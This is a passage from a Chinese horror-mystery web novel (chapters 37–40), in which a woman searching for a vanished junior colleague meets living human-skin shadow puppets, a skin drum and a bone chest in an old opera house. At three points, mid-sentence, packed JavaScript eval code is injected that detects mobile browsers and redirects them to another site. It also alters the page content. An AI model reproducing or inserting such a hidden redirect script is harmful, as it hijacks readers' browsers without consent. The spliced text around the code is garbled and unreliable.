火光扭曲间,她仿佛看到裴子晏的幻影——他被无数青铜锁链拖入地下,却依然对她微笑。最诡异的是,他心口的位置有个发光的月牙形缺口,正好与她手腕上的胎记形状吻合... “我会找到你的。”檀九重轻声承诺,从灰烬中拾起一枚完好无损的铜钱——‘乾隆通宝’,边缘有一小道她熟悉的划痕。 铜钱背面刻着两个微小的字:“等你”。 37. 灯影劫 陕西华县的雨带着陈年纸灰的气味。 檀九重站在‘百骨园’破败的牌坊下,雨水顺着斗笠边缘滴落,在她脚边汇成小小的漩涡。三天前焚烧灯笼的灰烬在风中自行重组,拼出‘皮影冢’三个字;而此刻,左手腕的青铜胎记遇水浮现出精细的皮影纹路——一个挥剑的将军剪影,与她在千棺葬壁画上看到的完全一致。 “就是这里了...”她低声自语,抬头望向雨幕中的戏楼。 百骨园是座清代戏楼,传闻当年有位皮影大师用仇人的骨头制作影人,在此连演四十九天《目连救母》。后来但凡在此演过皮影戏的艺人,都会莫名其妙失踪几个学徒。如今只剩残垣断壁,飞檐上挂着的铜铃早已锈死,在风中发出垂死般的呻吟。 阿青留在县城旅馆休养——自从那晚被铜镜附身后,她的瞳孔就时不时变成灰白色,需要定期用朱砂镇压。檀九重独自前来,不仅因为危险,更因为胎记对这里的反应...太强烈了。 青铜月牙在皮下发烫,纹路随着靠近戏楼不断变化,现在已从将军变成了一个怀抱月亮的女子形象。檀九重想起裴子晏消失前的话:“下次...换学姐...来找我...” 戏楼大门虚掩着,门轴发出刺耳的吱呀声。内部比想象中干燥,空气中飘着霉味和某种奇怪的香气——是檀香,混合着...血的味道? 手电筒的光束划破黑暗。舞台上整齐悬挂着上百个皮影人,在风中轻轻晃动,投下蜘蛛网般的影子。最诡异的是,这些皮影不是传统的侧脸造型,而是立体的人形,面部细节精细到毛孔可见,像是... “人皮。”一个声音突然在身后响起。 檀九重猛地转身,青铜匕首已经抵在来人咽喉处——是个佝偻着背的老太太,满脸皱纹堆叠得几乎看不见眼睛,手里提着盏油灯。 “姑娘别怕...”老太太咧嘴一笑,露出三颗发黄的牙齿,“老身是看园子的...” 檀九重没有放松警惕。油灯的光照出老太太的手腕——那里有个硬币大小的疤痕,边缘整齐得像被什么利器精准挖走的。 “看园子?”她冷笑,“这种地方需要看护?” “需要...特别需要...”老太太的油灯指向舞台,“那些宝贝...可都是古董...” 光束扫过的瞬间,檀九重分明看到有个皮影人转了下头!不是被风吹动的那种,而是确确实实的、有意识的转动! “今晚有雨戏...”老太太突然换了种咏叹调,“《唐明皇游月宫》...姑娘来得正是时候...” 檀九重刚要追问,一阵狂风突然灌入戏楼。油灯熄灭的刹那,她听到此起彼伏的“咔咔"声——是皮影人关节活动的声音! 手电筒急速扫过舞台,照出骇人一幕:所有皮影人同时"活"了过来,正从挂钩上自行解脱!它们的材质在光下清晰可辨——半透明的皮革,内里还残留着毛细血管般的纹路... “人皮...”檀九重终于明白那股异香的来源。这不是普通檀香,而是处理人皮用的防腐药剂! 老太太不知何时消失了。第一个皮影人已经飘到眼前,它做武将打扮,手中的影刀却是真家伙——寒光一闪,檀九重脸颊一凉,血珠顺着刀痕渗出。 更多皮影人包围过来。檀九重迅速后撤,背靠一根立柱。这些‘东西’移动时几乎没有声音,全靠影子暴露位置。她数了数,正好二十八个——二十八宿? 武将皮影再次袭来。檀九重矮身躲过,匕首斩向它的‘绳索’,却砍了个空——这些皮影根本没有提线! “怎么可能...” 一个文官打扮的皮影从侧面突袭,檀九重勉强格挡,左臂仍被划出道口子。血滴在地上的瞬间,所有皮影人突然静止了一秒,然后更加疯狂地扑来! 血...它们在渴求鲜血? 檀九重突然想起什么,从包里抓出一把朱砂粉撒向空中。红雾弥漫中,皮影人的动作果然迟缓下来。她趁机观察它们的站位——不是杂乱无章的,而是按照某种规律... “星宿!”她恍然大悟,“它们在布阵!” 二十八宿对应四方,每个方位有七宿。如果能找到生门... 罗盘刚掏出来就疯狂旋转。檀九重咬破手指将血滴在盘面,指针这才勉强稳定,指向舞台右侧的帷幕——那里隐约有个小门。 突围比想象的艰难。皮影人的攻击配合默契,刀光剑影中檀九重的衣服很快被割出数道口子。最危险的一次,一个仕女皮影的长指甲几乎戳进她的眼球,千钧一发之际—— “嗖!” 一枚铜钱破空而来,精准斩断仕女皮影的‘手腕’。皮影发出婴儿般的啼哭,缩回黑暗中。檀九重瞳孔骤缩——那枚铜钱用红线穿着,打结方式与裴子晏的习惯一模一样,只是红线更陈旧,像是浸泡过岁月。 “这边!"一个沙哑的声音从小门方向传来。 檀九重无暇多想,冲向那扇门。铜钱接二连三从暗处射来,为她开路。最后一枚钉在门框上,她顺手抄起,触感冰凉——是‘乾隆通宝’,但与裴子晏常带的那枚不同,这枚的包浆更厚,边缘有细微的齿痕。 门后是条狭窄的甬道,尽头透着微光。檀九重刚冲进去,就听到身后门板被重重撞击的声音。皮影人似乎被某种力量阻隔在外,只能发出愤怒的“咔咔”声。 喘息片刻,她开始观察这间密室——像是个道具间,架子上摆满各种皮影零件。而正中央的台子上,赫然放着一面人皮鼓! 鼓面约脸盆大小,在油灯照射下泛着诡异的珍珠光泽。最骇人的是鼓身上的纹路——纵横交错的疤痕,与裴子晏后背的伤疤完全一致!而鼓槌... 檀九重胃部翻涌。那是根人类指骨,末端还连着几片干枯的指甲,骨节处雕刻着精细的符文。当她凑近观察时,指骨突然自己动了一下! “喜欢我的收藏吗?” 老太太的声音从背后传来。檀九重转身,匕首已然在手,却见对方站在门口没动,油灯照亮她诡异的笑容。 “这叫‘魂鼓’...”老太太蹒跚着走近,“用至亲之骨为槌,仇敌之皮为面...敲一下,能唤回亡魂三分钟...” 她的枯手指向鼓面:“摸摸看...很熟悉的触感吧?” 檀九重强忍恶心,指尖轻触鼓面。刹那间,一段陌生记忆涌入脑海—— 穿长衫的老者(外祖父?)将少年按在祭台上,用青铜刀剥下他后背的皮肤...“记住这种痛...这是你背叛师门的代价...” 少年发出不似人类的嚎叫,而角落里,年轻的父亲抱着个小女孩(她?)冷眼旁观... 记忆戛然而止。檀九重踉跄后退,冷汗浸透后背。那少年...分明是年轻时的裴子晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757253|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !或者说,是某个与他长得一模一样的人? “看来你想起来了...”老太太的笑声如锈刀刮骨,“沈姑娘...” 檀九重如遭雷击:“你叫我什么?” 老太太不答,从袖中掏出个皮影人——是个穿旗袍的女子,面容与檀九重有七分相似,左腕有个醒目的月牙标记。 “沈胭脂...你母亲...也是我的得意作品...”老太太爱抚着皮影,“她以为能逃过‘双生咒’...却不知自己早就是‘容器’...” 檀九重突然明白为何胎记对这里反应强烈。如果母亲真的来过,甚至...被做成了皮影... “你到底是谁?”青铜匕首直指老太太咽喉。 老太太慢悠悠地放下油灯,解开衣领——她的胸口有个青铜装置,与裴子晏心口的如出一辙,只是更加古老,边缘已经与血肉长在一起。 “我是第一个‘看园人’...”她的声音突然变得年轻,“也是最后一个...” 密室突然剧烈震动,架子上的皮影零件雨点般落下。老太太趁机扑向人皮鼓,骨槌重重敲下—— “咚!” 一声闷响,像是有谁在极远处叹息。鼓面浮现出血色纹路,迅速组成一张人脸——是裴子晏!只是更加沧桑,左眼完全变成了青铜色。 “九重...”鼓面发出的声音带着回声,“走...” 老太太疯狂敲鼓,每一下都让那张脸更清晰。檀九重看到‘裴子晏’身后有无数的锁链,正将他拖向某个深渊... “把青铜片给我!”老太太尖叫,“就差最后一片了!” 檀九重这才注意到,人皮鼓边缘缺了一小块,形状与她腕上胎记完全吻合!老太太枯瘦的手已经抓来,指甲暴长成青铜色... 千钧一发之际,一枚铜钱从暗处射来,精准击中老太太手腕。这次不是救她的那枚,而是...裴子晏常带的那种‘乾隆通宝’! “学姐...退后...” 熟悉的声音让檀九重心脏停跳一拍。黑暗中走出一个身影——浑身湿透的裴子晏,右眼灰白,左眼却是正常的,胸口没有铜钱,只有个狰狞的伤口... “你...” 裴子晏竖起食指抵在唇前,然后指向耳朵。檀九重这才注意到,密室某处传来规律的“咔咔”声,像是某种机关在运转。 老太太突然大笑:“来不及了!子时到!” 整个戏楼开始崩塌。裴子晏抓住檀九重的手冲向另一条暗道,身后传来老太太癫狂的歌声: “月儿弯弯照九州,几家欢乐几家愁...几人得见长生殿,几人化作灯影囚...” 暗道尽头是间地下室,中央摆着个青铜簋,样式与千棺葬的完全一致。裴子晏不由分说将檀九重的手按在簋沿上,青铜胎记与簋身的纹路完美契合。 “记住...”他的声音断断续续,身体开始透明化,“皮影冢...不是地方...是...” 话未说完,他的身影如烟消散。檀九重手中多了枚铜钱,两面都刻着字: 正面‘等我’,背面‘寻灯’。 地下室的墙壁突然变得透明,映出戏楼外的景象——暴雨中,上百个皮影人悬浮在空中,组成一个巨大的北斗七星图案。而图案中央,站着个穿蓝布衫的小男孩,右手腕的月牙胎记在雨中泛着血光... 38. 骨鸣箱 雨水顺着檀九重的睫毛滴落,眼前的景象模糊又清晰。 那个站在暴雨中的蓝布衫小男孩,右手腕上的月牙胎记与她的一模一样。他仰头望着天空中的皮影北斗七星,嘴唇蠕动着,像是在念什么咒语。 檀九重握紧手中的铜钱,地下室突然剧烈震动起来。她踉跄着扶住青铜簋,簋身传来刺骨的寒意,腕上的胎记像被烙铁烫过般灼痛。 “裴子晏...”她低声念着这个名字,仿佛这样就能抓住那个如烟消散的身影。 震动停止时,地下室多了一条狭窄的通道。通道尽头透出微弱的红光,夹杂着某种古怪的“咔咔”声,像是老式放映机在转动。 檀九重将青铜匕首横在胸前,缓步前行。通道墙壁上布满了细小的孔洞,每个孔洞里都塞着一小卷皮影——全是孩童模样,面部表情扭曲痛苦。 “养鬼皮影...”她想起父亲笔记中的记载,“以亡童皮肤与血浸牛皮制成,可拘魂魄...” 通道尽头是一间圆形石室,中央摆放着一个樟木箱。箱子约两米长,表面雕刻着繁复的星宿图案,四角包着青铜兽首。最诡异的是,箱子在‘呼吸’——随着那“咔咔”声有规律地膨胀收缩,像是里面关着什么活物。 红光来自箱子上方悬挂的七盏油灯,排列成北斗形状。檀九重注意到每盏灯的灯芯都不是棉线,而是一根细长的人指骨。 “骨鸣箱...”她倒吸一口凉气。这是比人皮鼓更邪门的东西,据说是湘西赶尸人用来存放‘不听话的尸体’的容器。 箱子上挂着一把青铜锁,锁眼形状与她腕上的月牙胎记完全吻合。檀九重犹豫片刻,将手腕贴了上去。 “咔嚓”一声,锁开了。 箱盖自动掀开的瞬间,一股混合着檀香与腐肉的气味扑面而来。檀九重捂住口鼻,手电筒的光束照进箱内—— 数百张人皮影整齐排列,每一张都薄如蝉翼,在灯光下呈现出半透明的质感。最上面那张皮影的面容清晰可辨:裴子晏,带着他标志性的酒窝,只是左眼处被刻意挖空,形成一个诡异的黑洞。 檀九重的手指微微发抖。她小心地掀起这张皮影,下面赫然是另一张裴子晏的脸——更年轻些,约莫十五六岁的样子。再往下翻,第三张、第四张...全是不同年龄段的裴子晏,最早的一张看起来只有五六岁,皮肤上还带着淡青色的胎记。 “这不可能...”檀九重喃喃自语。按照时间推算,最早的这张皮影应该制作于三十年前,而裴子晏现在才二十三岁。 箱子底部有个牛皮纸包。打开后,里面是一缕头发和几张泛黄的照片。檀九重立刻认出那是父亲的字迹:“1986年7月,湘西,裴氏双子。” 照片上是两个穿蓝布衫的男孩,约莫七八岁,长得一模一样。唯一区别是其中一个右手腕有月牙胎记,另一个则是左腕。照片背面写着:“实验体A与B,A已处置。” 檀九重胃部一阵绞痛。她颤抖着取出随身携带的证物袋——里面是裴子晏之前受伤时留下的血迹和头发。快速做完简易比对后,结果令她毛骨悚然:箱子里最早的那张儿童皮影,DNA与裴子晏完全吻合。 “他到底是什么...”檀九重的声音卡在喉咙里。 “那孩子把自己分成了三份。”一个沙哑的声音突然从背后传来。 檀九重猛地转身,青铜匕首划出一道寒光。角落里不知何时多了个白发老人,穿着破旧的皮影戏服,右眼是浑浊的白色,左眼却明亮得吓人。 老人神经质地搓着手指:“皮、肉、骨...三魂七魄各取一份...檀明远没告诉你吗?”他突然咯咯笑起来,”也对,他连自己女儿是‘容器’都不知道...” 檀九重瞳孔骤缩:“你认识我父亲?” “何止认识...”老人歪着头,脖子发出“咔咔”的响声,“当年在湘西,是我们一起把两个小裴从千棺葬里挖出来的...”他的表情突然变得狰狞,“但他背叛了约定!私自藏起了A!” 檀九重悄悄按下录音笔:“什么约定?” 老人却突然抱住头蹲下:“血...太多血了...小裴的眼睛在流血...”他的神智明显不太清醒,开始胡言乱语,“皮影要新鲜的人皮...活剥的最好...但孩子皮肤太嫩...” 檀九重趁机快速翻找箱子。在最底层的暗格里,她发现了一叠儿童画。大部分画的是寻常的太阳房子和小树,但其中一张格外诡异:两个大人牵着一个小孩子,地上却投下四个影子。第三个影子被反复涂改过,几乎戳破了纸面。 “这是裴子晏画的?”她将画举到老人面前。 老人突然安静下来,浑浊的右眼流下泪水:“三尸神...他把自己献祭给了三尸神...”他枯瘦的手指颤抖着指向画中被涂改的影子,“看...它在长大...” 檀九重后背窜上一股寒意。仔细看才发现,那些涂改痕迹不是随意的,而是在刻意塑造某种形象——一个头大身小的畸形影子,正从孩子脚下延伸出来。 “裴子晏现在在哪里?”她抓紧老人的肩膀。 老人诡异地笑了:“他在等你啊...一直在等...”说着突然从袖中掏出一把青铜小刀,划向自己的手腕,“看...血契...” 鲜血滴在骨鸣箱上,箱中的人皮影突然全部立了起来,像被无形的线牵引着。它们齐刷刷‘看’向檀九重,数百张裴子晏的脸同时露出微笑。 檀九重腕上的胎记突然剧痛,青铜月牙渗出丝丝血迹。血珠滴落在地面的瞬间,整间石室开始旋转,墙壁上浮现出密密麻麻的皮影戏场景——全是同一个故事:一个穿蓝布衫的男孩被两个大人按在祭台上剥皮。 “这才是真相...”老人癫狂地手舞足蹈,“没有双子!从来都只有一个裴子晏!是他把自己的三尸神剥离出来,变成了‘另一个自己’!” 檀九重突然想起青铜簋上看到的幻象——年轻时的裴子晏被剥皮时,角落里站着的父亲和幼年的自己。如果那不是记忆,而是... “是预言。”老人仿佛读懂了她的想法,咧嘴露出参差不齐的牙齿,“你们三个的命运早就写在皮影戏本上了...” 骨鸣箱突然发出刺耳的嗡鸣,像是无数根骨头在摩擦。檀九重看到最新那张裴子晏的皮影飘了起来,左眼的黑洞慢慢扩大,形成一个漩涡。 漩涡中浮现出模糊的画面:裴子晏被锁在一个青铜笼子里,胸口插着七根青铜钉,每根钉子上都刻着星宿图案。他似乎感应到什么,突然抬头,灰白的右眼直视着檀九重。 “学姐...”声音从皮影中传来,微弱得如同耳语,“找到...灯...” 画面突然切换。一盏造型古怪的青铜灯悬浮在黑暗中,灯芯是根缠绕着红线的指骨。灯旁站着那个蓝布衫小男孩,正用月牙胎记的手蘸着某种液体在墙上画符。 檀九重还没看清细节,老人突然暴起发难。他枯瘦如爪的手直取她的咽喉:“把青铜片给我!就差最后一块了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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石室的震动越来越剧烈,墙壁开始剥落,露出里面层层叠叠的人皮。裴子晏突然将青铜灯塞到檀九重手中:“灯给你,它能照出真相。但要记住——” 他的话被一声巨响打断。通道尽头,数百个皮影人如潮水般涌来,为首的正是与老人融合的那张裴子晏皮影,此刻已经膨胀到真人大小,左眼的黑洞几乎占据了半张脸。 “走!”裴子晏猛地推了她一把,“去千棺葬找剩下的铜钱!” 檀九重还想说什么,裴子晏却已经转身迎向皮影大军。在皮影淹没他的瞬间,檀九重看到他的口型: “找我。” 通道在她身后坍塌。檀九重拼命奔跑,手中的青铜灯发出幽幽青光,照亮前方突然出现的一扇小门。 撞开门的一刹那,冰冷的雨水拍打在脸上。她发现自己站在百骨园的后山,远处戏楼正在雨中熊熊燃烧,火光中无数皮影人化为灰烬。 口袋里有什么东西在发烫。檀九重掏出来,是那枚裴子晏给的铜钱。原本模糊的字迹此刻清晰可辨: 正面‘非生非死’,背面‘寻灯见我’。 腕上的月牙胎记突然与铜钱产生共鸣,一阵剧痛中,檀九重看到闪回的画面——幼年的裴子晏被铁链锁在青铜簋旁,两个穿长衫的人正在用青铜刀割他的皮肤。其中一个抬头,赫然是年轻时的父亲... “学姐...”幻象中的小裴子晏突然看向她,声音与现在的裴子晏重叠,“你终于想起来了...” 39. 双魂鼓 雨水顺着青铜灯的纹路蜿蜒而下,在青石板上汇成细小的溪流。檀九重站在百骨园后山的乱葬岗中,手中的灯焰在雨中诡异地不熄不灭,反而越发明亮。 灯芯燃烧时发出一种古怪的气味——像是陈年的线香混合着某种草药,隐约还有一丝血腥气。檀九重凑近观察,发现那根缠绕红线的指骨并非完全燃烧,而是在缓慢地‘生长’出新的骨节,如同活物。 “寻灯见我...”她摩挲着铜钱上的字迹,抬头望向远处燃烧的戏楼。火光中,无数皮影化为灰烬升腾而起,在雨幕中形成一幅幅流动的剪影。最清晰的一幅是两个人牵着一个孩子的画面,正是箱底那张儿童画的放大版。 腕上的青铜月牙胎记突然刺痛。檀九重皱眉,从背包里取出紫外灯和取证工具——这些都是她从县城旅馆带来的,阿青还在那里昏迷不醒,瞳孔时不时变成灰白色。 “先弄清楚人皮鼓的来历。”她自语道,撑着青铜灯向记忆中的密道入口走去。雨水冲刷过的山路格外湿滑,几次险些摔倒。奇怪的是,每当她踉跄时,灯焰就会突然窜高,仿佛在指引方向。 密道入口已被坍塌的碎石掩埋大半。檀九重刚靠近,就听到里面传来细微的“咚咚”声,像是有人在轻轻敲鼓。她屏息凝神,那声音又变成了指甲刮擦皮革的响动。 “裴子晏?”她试探着呼唤,回应她的只有山风呼啸。 费了九牛二虎之力搬开几块石头,露出仅容一人侧身通过的缝隙。檀九重将青铜灯举在前方,小心地挤了进去。密道内比想象中干燥,空气中飘散着霉味和淡淡的血腥气。 拐过几个弯后,她回到了那间发现骨鸣箱的石室。此刻的石室一片狼藉——骨鸣箱倾倒在地,数百张人皮影散落各处,有些已经被烧得卷曲发黑。中央台子上的人皮鼓却完好无损,甚至在无人敲击的情况下微微震颤,发出低沉的共鸣。 檀九重没有贸然靠近。她取出紫外灯,站在安全距离外照射鼓面。淡紫色的光线下,鼓面浮现出密密麻麻的符文——有些是已经褪色的契丹文,有些则是清晰的简体中文,层层叠叠如同千层饼。 “果然被修补过多次...”她轻声自语,用相机记录下这些符文。最外层的简体中文写着:“血肉为祭,魂魄为引,三尸归一,长生可期”。字迹新鲜,像是最近几年才刻上去的。 当她移动紫外灯照向鼓的边缘时,呼吸为之一窒——那里有一小块修补的痕迹,皮肤纹理与裴子晏后背的伤疤完全吻合。更可怕的是,鼓槌那根人类指骨上的指纹,在紫外线下显现出与裴子晏完全一致的螺形纹路。 “至亲之骨...”老太太的话在耳边回响。檀九重胃部一阵翻腾,强忍着恶心继续检查。在鼓的背面,紫外光揭示出一个隐藏的符号:两个交叠的月牙,与她腕上的胎记一模一样。 就在她伸手想要触碰那个符号时,人皮鼓突然自鸣一声,震得石室簌簌落灰。一股无形的力量将檀九重拉向鼓面,她的手掌不受控制地贴了上去——剧痛。像是有人将烧红的铁钉钉入她的太阳穴。无数画面如决堤洪水般涌入脑海: 幽暗的地穴中,青铜簋旁锁着两个男孩。他们长得一模一样,只是一个月牙胎记在右腕,一个在左。穿长衫的老者手持青铜刀,刀刃在火光中泛着诡异的青色。 “双生之子,必去其一。”老者的声音嘶哑如锈铁摩擦,“留皮者存,留骨者亡。” 刀刃划破右边男孩的后背,鲜血顺着脊椎沟壑流下。男孩咬紧牙关不出一声,但眼泪大颗大颗砸在青铜簋上,发出“嗤嗤”的腐蚀声。 “九重...别看...”左边的男孩突然转头,灰白的右眼直视虚空——他看的正是记忆之外的檀九重! 画面突然切换。还是那个地穴,但时间似乎过去了很多年。右边的男孩已经长成少年,后背布满纵横交错的疤痕。他被铁链锁在人皮鼓旁,一个戴着玉扳指的手正在往鼓面上缝制新的人皮——那张皮上还带着新鲜的鲜血,分明是从少年身上刚剥下来的! “忍住,子晏。”施暴者的声音让檀九重浑身发抖——那是父亲檀明远的声音,“这是你欠沈家的。” 记忆碎片再次重组。这次她看到年轻时的父亲站在一个青铜装置前,装置里躺着昏迷的裴子晏。父亲手中拿着两枚铜钱,一枚塞进裴子晏心口的伤口,另一枚... “学姐!醒醒!” 一个清冽的声音将檀九重拉回现实。她发现自己跪在人皮鼓前,双手死死按着鼓面,指甲已经抓破了表层皮肤,渗出丝丝鲜血。抬头看去,一个穿黑色冲锋衣的身影站在石室入口,手中握着一把滴血的青铜短剑。 “裴...子晏?”檀九重声音嘶哑。 来人缓步走近,灯光照亮他的面容——确实是裴子晏,但气质截然不同。这个‘裴子晏’眼神冷峻,右眼是正常的黑色,左眼却泛着诡异的青铜光泽。更奇怪的是,他胸口没有那个标志性的铜钱装置,取而代之的是一道狰狞的伤疤,形状酷似钥匙孔。 “我不是他。”青年声音低沉,“或者说,不完全是。” 檀九重挣扎着站起来,青铜匕首横在胸前:“你是谁?” 青年刚要回答,石室突然剧烈震动。散落各处的人皮影无风自动,纷纷立起,朝他们包围过来。最可怕的是骨鸣箱中飘出的那张最新皮影——融合了老人面孔的‘裴子晏’,此刻已经膨胀到两米多高,黑洞洞的左眼占据了半张脸。 “没时间解释。”青年一把拉住檀九重的手,“走!” 两人冲向另一条通道,身后皮影大军紧追不舍。拐角处,青年突然将檀九重推到一旁,自己迎向扑来的巨型皮影。青铜短剑与皮影的‘利爪’相撞,火花四溅。 “接着!”青年从怀中掏出一本残破的账簿扔给她,“去戏楼后台找铜钥匙!” 檀九重本能地接住账簿,犹豫了一瞬:“你——” “走啊!”青年肩膀被皮影的利爪贯穿,鲜血喷涌而出。奇怪的是,那些血不是鲜红色,而是带着金属光泽的暗红,落在地上发出“嗤嗤”的腐蚀声。 檀九重咬牙转身,沿着通道狂奔。身后的打斗声越来越远,最终被一阵刺耳的“吱嘎”声取代——像是有什么巨大的东西被撕裂了。 通道尽头是一扇雕花木门,上面用朱砂画着复杂的符咒。檀九重试着推了推,门纹丝不动。正当她准备用青铜匕首撬锁时,腕上的胎记突然发烫。她福至心灵,将胎记贴在门锁处——“咔哒”一声,门开了。 扑面而来的是浓重的霉味和檀香气。这是一间狭小的账房,四壁摆满了落满灰尘的账簿。中央的桌子上放着一盏油灯,灯下压着几张泛黄的戏单。 檀九重快速翻看青年给的账簿。这是一本年代久远的收支记录,大部分内容已经模糊不清。但在最后一页,一行朱砂写的小字格外刺眼: “庚午年六月初七,收檀九重皮影一副,沈胭脂押。” 檀九重手指发抖。庚午年——正是她五岁那年,也是母亲沈胭脂失踪的时间。她隐约记得那年夏天自己曾经发过高烧,昏迷了整整七天,醒来后完全不记得发生了什么。 “这是什么意思...……她喃喃自语,继续翻阅账簿。在倒数第三页发现了更可怕的记录: “丙寅年三月初三,收裴氏双子皮各一副,檀明远押。A号皮制鼓面,B号皮存箱待用。” 账簿从她手中滑落。丙寅年是三十年前,那时裴子晏应该还没出生才对!除非... “除非他根本不是正常人。”一个虚弱的声音从门口传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804309|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 黑衣青年倚在门框上,左肩的伤口还在流血,但已经变成了正常的鲜红色。他脸色苍白如纸,右手紧握着那把青铜短剑,剑身上沾满了青黑色的黏液。 “你到底是谁?”檀九重警惕地问。 青年苦笑:“我是裴子晏的‘骨’,他是‘皮’,还有一个是‘魂’。”他指了指人皮鼓的方向,“当年被剥皮的是他,被抽骨的是我,而‘魂’...” 他的话被一阵剧烈的咳嗽打断。咳出的血溅在地上,形成一小滩诡异的青铜色液体。檀九重下意识后退半步,青年眼中闪过一丝受伤。 “你不记得我了。”他擦掉嘴角的血迹,“那年夏天在湘西,你偷偷给地窖里的男孩送过馒头。” 檀九重脑中闪过零碎的画面:老宅的地窖、铁链的响声、一双灰白的眼睛...但记忆如同隔着一层毛玻璃,怎么也看不真切。 青年突然警觉地抬头:“他们来了。”说着从怀中掏出一个油纸包,“这是我的血样和细胞切片。拿去化验,你会明白的。” 檀九重接过油纸包:“谁来了?” “其他‘看园人’。”青年艰难地站直身体,“百骨园不止一个,这里的皮影师也只是傀儡。”他指向账簿,“找到那把钥匙,它能打开裴子晏心口的锁。” “等等——”檀九重还想追问,青年却已经转身走向通道。 “记住,学姐。”他回头笑了笑,这个笑容与檀九重熟悉的裴子晏一模一样,“下次见面,别相信任何有体温的‘人’。” 话音未落,通道尽头传来此起彼伏的“咔咔”声。青年毫不犹豫地冲了过去,青铜短剑在黑暗中划出一道寒光。紧接着是一阵激烈的打斗声,最终归于寂静。 檀九重攥紧油纸包,迅速搜查账房。在一个上锁的抽屉里,她找到了一串钥匙和半本残破的日记。日记的主人是"看园人"之一,记载了如何用活人制作皮影的详细流程。最令人毛骨悚然的是最后一页: “甲戌年腊月,沈胭脂自愿为‘灯芯’,以其女血脉为引,可保皮影冢再续四十九年。” 字迹新鲜,墨迹似乎还没干透。檀九重强忍恶心继续翻找,在抽屉暗格里发现了半把铜钥匙——钥匙的齿部形状怪异,像是按照某种骨骼结构打造的。 “裴子晏的肋骨...”她突然明白了青年的话。那把钥匙确实与人体骨骼相似,尤其是第三根肋骨的形状。 账房外传来杂乱的脚步声。檀九重迅速将钥匙、账簿和日记塞进背包,吹灭油灯躲到柜子后面。门被推开,三个穿黑袍的人走了进来,手中提着样式古怪的灯笼——灯罩竟是用人皮制成的,上面还保留着五官的轮廓。 “搜仔细点。”为首的黑袍人声音沙哑,“檀明远的女儿必须成为新的‘灯芯’。” 檀九重屏住呼吸,悄悄握紧青铜匕首。就在黑袍人即将发现她的刹那,账房角落突然传来一声猫叫——是阿青养的那只黑猫!它不知何时出现在这里,绿油油的眼睛在黑暗中闪闪发光。 “该死的畜生!”黑袍人转身去抓黑猫,檀九重趁机从窗口翻出,落入外面的灌木丛中。 她头也不回地向山下狂奔,背包里的青铜灯突然变得滚烫。掏出来一看,灯芯那根指骨已经长出了第二骨节,缠绕其上的红线变成了暗红色,像是吸饱了鲜血。 山脚下,县城的方向亮起了警车和消防车的灯光。檀九重最后回望了一眼燃烧的百骨园,恍惚间看到戏楼废墟上站着三个人影:穿蓝布衫的小男孩、黑衣青年,还有...她自己? 腕上的胎记突然剧痛,青铜月牙渗出丝丝血迹。血珠滴在青铜灯上,灯焰“轰”地窜高,映照出灯身上隐藏的铭文: “双魂鼓响,三尸归位。月牙为引,青铜为媒。” 40. 记忆纱 檀九重睁开眼时,首先闻到了桂花香。 阳光透过雕花木窗洒在青砖地上,形成斑驳的光影。她躺在一张红木架子床上,身上盖着绣有百子图的锦被,床头的香炉升起袅袅青烟。这不是县城旅馆,也不是任何她熟悉的地方。 “学姐醒了?” 熟悉的声音让她猛地坐起,眩晕感立刻袭来。裴子晏坐在床边的藤椅上,穿着干净的浅蓝色衬衫,右眼完好无损,嘴角噙着那抹标志性的酒窝笑。没有伤口,没有青铜装置,就像一个普通的大学生。 “这是哪?”檀九重下意识摸向腰间,青铜匕首不见了。 “华悦客栈啊。”裴子晏递来一杯热茶,“学姐不记得了?我们在百骨园考察皮影戏,你被落下的横梁砸中了头。” 檀九重接过茶杯,没喝。茶水倒映出她的脸——额角确实贴着纱布。但她的记忆停留在账房,黑袍人,还有那个自称是裴子晏‘骨’的青年... “阿青呢?” “在隔壁休息。”裴子晏眨眨眼,“那只黑猫抓伤了她的眼睛,医生说要避光三天。” 一切听起来合情合理。檀九重低头喝茶,余光却在观察房间。典型的关中民居风格,墙上挂着几幅皮影戏人物画,角落的衣架上挂着她的外套——干干净净,没有半点血污和雨水痕迹。 太完美了,完美得不真实。 “现在几号?”她突然问。 “五月二十。”裴子晏笑着摇头,“学姐昏迷了一整天。饿了吗?我让厨房煮了臊子面。” 檀九重掀开被子下床,双腿却一软。裴子晏及时扶住她,手掌温暖干燥。就在这一刻,她看到了异常——窗外的树影在风中摇晃,而裴子晏投在地上的影子,慢了半拍。 0.5秒的延迟,常人根本不会注意。但檀九重受过专业训练,对时间和动作的观察近乎本能。 “谢谢。”她不动声色地抽回手,“我想先洗个脸。” 洗手间里,檀九重锁上门,迅速检查自己的身体。除了额角的伤,左手腕内侧多了一个小红点,像是被极细的针扎过。她用冷水拍脸,抬头时镜中的自己嘴角竟挂着一丝诡异的微笑——不是她的表情! “影傀术...”她咬破舌尖,用疼痛保持清醒。父亲笔记里提过这种陕西秘术,高级阶段能用特制皮影替换他人记忆,俗称‘替魂’。 